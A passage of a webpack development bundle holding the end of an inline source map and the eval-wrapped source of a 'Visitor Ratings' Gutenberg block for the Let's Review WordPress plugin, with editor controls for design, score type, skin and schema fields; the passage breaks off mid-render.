QUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQSIsInNvdXJjZVJvb3QiOiIifQ==\n//# sourceURL=webpack-internal:///4\n");
/***/ }),
/* 5 */
/*!**************************************!*\
!*** ./src/block/visitor-ratings.js ***!
\**************************************/
/*! no exports provided */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
eval("/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__wordpress_element__ = __webpack_require__(/*! @wordpress/element */ 0);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__wordpress_element___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0__wordpress_element__);\nvar _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();\n\nfunction _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\n/**\n * BLOCK: Visitor Ratings\n */\n\nvar __ = wp.i18n.__;\nvar registerBlockType = wp.blocks.registerBlockType;\n\nvar el = wp.element.createElement;\n\n\nvar _wp$editor = wp.editor,\n RichText = _wp$editor.RichText,\n InspectorControls = _wp$editor.InspectorControls,\n MediaUpload = _wp$editor.MediaUpload,\n MediaUploadCheck = _wp$editor.MediaUploadCheck,\n BlockControls = _wp$editor.BlockControls,\n PanelColorSettings = _wp$editor.PanelColorSettings,\n BlockAlignmentToolbar = _wp$editor.BlockAlignmentToolbar;\nvar _wp$components = wp.components,\n SelectControl = _wp$components.SelectControl,\n ToggleControl = _wp$components.ToggleControl,\n DateTimePicker = _wp$components.DateTimePicker,\n Button = _wp$components.Button,\n TextControl = _wp$components.TextControl,\n ColorPicker = _wp$components.ColorPicker,\n PanelBody = _wp$components.PanelBody,\n ServerSideRender = _wp$components.ServerSideRender;\n\n\nvar iconEl = el('svg', { width: 20, height: 20 }, el('path', { d: \"M19,0 C19.5522847,-1.01453063e-16 20,0.44771525 20,1 L20,19 C20,19.5522847 19.5522847,20 19,20 L1,20 C0.44771525,20 6.76353751e-17,19.5522847 0,19 L0,1 C-6.76353751e-17,0.44771525 0.44771525,1.01453063e-16 1,0 L19,0 Z M18,2 L2,2 L2,18 L18,18 L18,2 Z M10,5 L11.4694631,7.97745751 L14.7552826,8.45491503 L12.3776413,10.7725425 L12.9389263,14.045085 L10,12.5 L7.06107374,14.045085 L7.62235871,10.7725425 L5.24471742,8.45491503 L8.53053687,7.97745751 L10,5 Z\" }));\n\nvar letsReviewVisitorRating = function (_Component) {\n\t_inherits(letsReviewVisitorRating, _Component);\n\n\tfunction letsReviewVisitorRating() {\n\t\t_classCallCheck(this, letsReviewVisitorRating);\n\n\t\treturn _possibleConstructorReturn(this, (letsReviewVisitorRating.__proto__ || Object.getPrototypeOf(letsReviewVisitorRating)).apply(this, arguments));\n\t}\n\n\t_createClass(letsReviewVisitorRating, [{\n\t\tkey: 'componentDidMount',\n\t\tvalue: function componentDidMount() {\n\t\t\tvar _props = this.props,\n\t\t\t setAttributes = _props.setAttributes,\n\t\t\t attributes = _props.attributes;\n\n\t\t\tif (attributes.uid === 123) {\n\t\t\t\tsetAttributes({\n\t\t\t\t\tuid: Math.floor(Math.random() * (999999 - 100000 + 1) + 100000)\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t}, {\n\t\tkey: 'render',\n\t\tvalue: function render() {\n\t\t\tvar _props2 = this.props,\n\t\t\t setAttributes = _props2.setAttributes,\n\t\t\t attributes = _props2.attributes;\n\n\t\t\tvar barsAniOn = '',\n\t\t\t accentOn = true,\n\t\t\t scoreType = parseInt(attributes.scoreType),\n\t\t\t design = parseInt(attributes.design);\n\t\t\tvar scoreTypeOptions = [{ label: __('Percentage'), value: '1' }, { label: __('Points'), value: '2' }];\n\t\t\tif (design === 6) {\n\t\t\t\taccentOn = false;\n\t\t\t} else {\n\t\t\t\tscoreTypeOptions.push({ label: __('Stars'), value: '3' });\n\t\t\t\tscoreTypeOptions.push({ label: __('Custom Icons'), value: '4' });\n\t\t\t\tscoreTypeOptions.push({ label: __('Custom Image'), value: '5' });\n\t\t\t}\n\t\t\tvar colorSettingsOptions = [{\n\t\t\t\tvalue: attributes.accent,\n\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\treturn setAttributes({ accent: value });\n\t\t\t\t},\n\t\t\t\tlabel: __('Accent Color')\n\t\t\t}];\n\t\t\tif (parseInt(attributes.skin) === 3 && design !== 6) {\n\t\t\t\tcolorSettingsOptions.push({\n\t\t\t\t\tvalue: attributes.skinBG,\n\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\treturn setAttributes({ skinBG: value });\n\t\t\t\t\t},\n\t\t\t\t\tlabel: __('Background Color')\n\t\t\t\t});\n\t\t\t\tcolorSettingsOptions.push({\n\t\t\t\t\tvalue: attributes.skinText,\n\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\treturn setAttributes({ skinText: value });\n\t\t\t\t\t},\n\t\t\t\t\tlabel: __('Text Color')\n\t\t\t\t});\n\t\t\t}\n\n\t\t\tfunction onImageSelect(attr, imageObject) {\n\t\t\t\tvar _setAttributes;\n\n\t\t\t\tvar thumb;\n\t\t\t\tif (typeof imageObject.sizes.medium !== 'undefined' && imageObject.sizes.medium.width > 0) {\n\t\t\t\t\tthumb = imageObject.sizes.medium.url;\n\t\t\t\t} else if (typeof imageObject.sizes.full !== 'undefined' && imageObject.sizes.full.width > 0) {\n\t\t\t\t\tthumb = imageObject.sizes.full.url;\n\t\t\t\t} else if (typeof imageObject.sizes.thumbnail !== 'undefined' && imageObject.sizes.thumbnail.width > 0) {\n\t\t\t\t\tthumb = imageObject.sizes.thumbnail.url;\n\t\t\t\t}\n\t\t\t\tif (attr === 'bg') {\n\t\t\t\t\tthumb = imageObject.sizes.full.url;\n\t\t\t\t}\n\t\t\t\tsetAttributes((_setAttributes = {}, _defineProperty(_setAttributes, attr + 'ID', imageObject.id), _defineProperty(_setAttributes, attr + 'Thumb', thumb), _setAttributes));\n\t\t\t}\n\t\t\treturn [wp.element.createElement(\n\t\t\t\tInspectorControls,\n\t\t\t\tnull,\n\t\t\t\twp.element.createElement(\n\t\t\t\t\tPanelBody,\n\t\t\t\t\t{ title: __('Block Options') },\n\t\t\t\t\twp.element.createElement(SelectControl, {\n\t\t\t\t\t\tlabel: __('Design'),\n\t\t\t\t\t\tvalue: attributes.design,\n\t\t\t\t\t\toptions: [{ label: __('Minimalist'), value: '1' }, { label: __('Minimalist B'), value: '6' }, { label: __('Bold'), value: '2' }],\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\tif (6 === parseInt(value) && parseInt(attributes.scoreType) > 2) {\n\t\t\t\t\t\t\t\tsetAttributes({ design: value, scoreType: '1' });\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tsetAttributes({ design: value });\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}),\n\t\t\t\t\twp.element.createElement(SelectControl, {\n\t\t\t\t\t\tlabel: __('Score Type'),\n\t\t\t\t\t\tvalue: attributes.scoreType,\n\t\t\t\t\t\toptions: scoreTypeOptions,\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ scoreType: value });\n\t\t\t\t\t\t}\n\t\t\t\t\t}),\n\t\t\t\t\tscoreType === 4 ? wp.element.createElement(TextControl, {\n\t\t\t\t\t\tlabel: __('Icon HTML code', 'lets-review'),\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ iconCode: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tvalue: attributes.iconCode\n\t\t\t\t\t}) : '',\n\t\t\t\t\tbarsAniOn === true ? wp.element.createElement(SelectControl, {\n\t\t\t\t\t\tlabel: __('Bar Animations'),\n\t\t\t\t\t\tvalue: attributes.aniType,\n\t\t\t\t\t\toptions: [{ label: __('Incremental'), value: '1' }, { label: __('Fade In'), value: '2' }, { label: __('None'), value: '3' }],\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ aniType: value });\n\t\t\t\t\t\t}\n\t\t\t\t\t}) : ''\n\t\t\t\t),\n\t\t\t\tdesign === 6 ? '' : wp.element.createElement(SelectControl, {\n\t\t\t\t\tlabel: 'Skin',\n\t\t\t\t\tvalue: attributes.skin,\n\t\t\t\t\toptions: [{ label: __('Light'), value: '1' }, { label: __('Dark'), value: '2' }, { label: __('Custom'), value: '3' }],\n\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\treturn setAttributes({ skin: value });\n\t\t\t\t\t}\n\t\t\t\t}),\n\t\t\t\twp.element.createElement(TextControl, {\n\t\t\t\t\tlabel: __('Title', 'lets-review'),\n\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\treturn setAttributes({ title: value });\n\t\t\t\t\t},\n\t\t\t\t\tvalue: attributes.title\n\t\t\t\t}),\n\t\t\t\tattributes.title === '' ? '' : wp.element.createElement(ToggleControl, {\n\t\t\t\t\tlabel: __('Hide Title Box'),\n\t\t\t\t\tchecked: attributes.hideTitleBox,\n\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\treturn setAttributes({ hideTitleBox: value });\n\t\t\t\t\t}\n\t\t\t\t}),\n\t\t\t\twp.element.createElement(\n\t\t\t\t\tPanelBody,\n\t\t\t\t\t{ title: __('Schema') },\n\t\t\t\t\twp.element.createElement(SelectControl, {\n\t\t\t\t\t\tlabel: __('Schema Type'),\n\t\t\t\t\t\tvalue: attributes.itemReviewed,\n\t\t\t\t\t\toptions: [{ label: __('Product'), value: 'Product' }, { label: __('Episode'), value: 'Episode' }, { label: __('Movie'), value: 'Movie' }, { label: __('Game'), value: 'Game' }, { label: __('Organization'), value: 'Organization' }],\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ itemReviewed: value });\n\t\t\t\t\t\t}\n\t\t\t\t\t}),\n\t\t\t\t\t'Product' === attributes.itemReviewed ? wp.element.createElement(TextControl, {\n\t\t\t\t\t\tlabel: __('Description'),\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ schemaDescription: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tvalue: attributes.schemaDescription\n\t\t\t\t\t}) : '',\n\t\t\t\t\t'Product' === attributes.itemReviewed ? wp.element.createElement(TextControl, {\n\t\t\t\t\t\tlabel: __('Brand'),\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ schemaBrand: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tvalue: attributes.schemaBrand\n\t\t\t\t\t}) : '',\n\t\t\t\t\t'Product' === attributes.itemReviewed ? wp.element.createElement(TextControl, {\n\t\t\t\t\t\tlabel: __('SKU'),\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ schemaSku: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tvalue: attributes.schemaSku\n\t\t\t\t\t}) : '',\n\t\t\t\t\t'Product' === attributes.itemReviewed ? wp.element.createElement(TextControl, {\n\t\t\t\t\t\tlabel: __('MPN'),\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ schemaMpn: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tvalue: attributes.schemaMpn\n\t\t\t\t\t}) : '',\n\t\t\t\t\t'Movie' === attributes.itemReviewed ? wp.element.createElement(TextControl, {\n\t\t\t\t\t\tlabel: __('Director'),\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ schemaDirector: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tvalue: attributes.schemaDirector\n\t\t\t\t\t}) : '',\n\t\t\t\t\t'Movie' === attributes.itemReviewed ? wp.element.createElement(TextControl, {\n\t\t\t\t\t\tlabel: __('Date Created'),\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ schemaDateCreated: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tvalue: attributes.schemaDateCreated\n\t\t\t\t\t}) : '',\n\t\t\t\t\t'Product' === attributes.itemReviewed || 'Movie' === attributes.itemReviewed ? wp.element.createElement(\n\t\t\t\t\t\t'div',\n\t\t\t\t\t\t{ className: 'components-base-control inspector__upload' },\n\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\tMediaUploadCheck,\n\t\t\t\t\t\t\tnull,\n\t\t\t\t\t\t\twp.element.createElement(MediaUpload, {\n\t\t\t\t\t\t\t\tonSelect: onImageSelect.bind(this, 'fi'),\n\t\t\t\t\t\t\t\ttype: 'image',\n\t\t\t\t\t\t\t\tvalue: attributes.fiID,\n\t\t\t\t\t\t\t\trender: function render(_ref) {\n\t\t\t\t\t\t\t\t\tvar open = 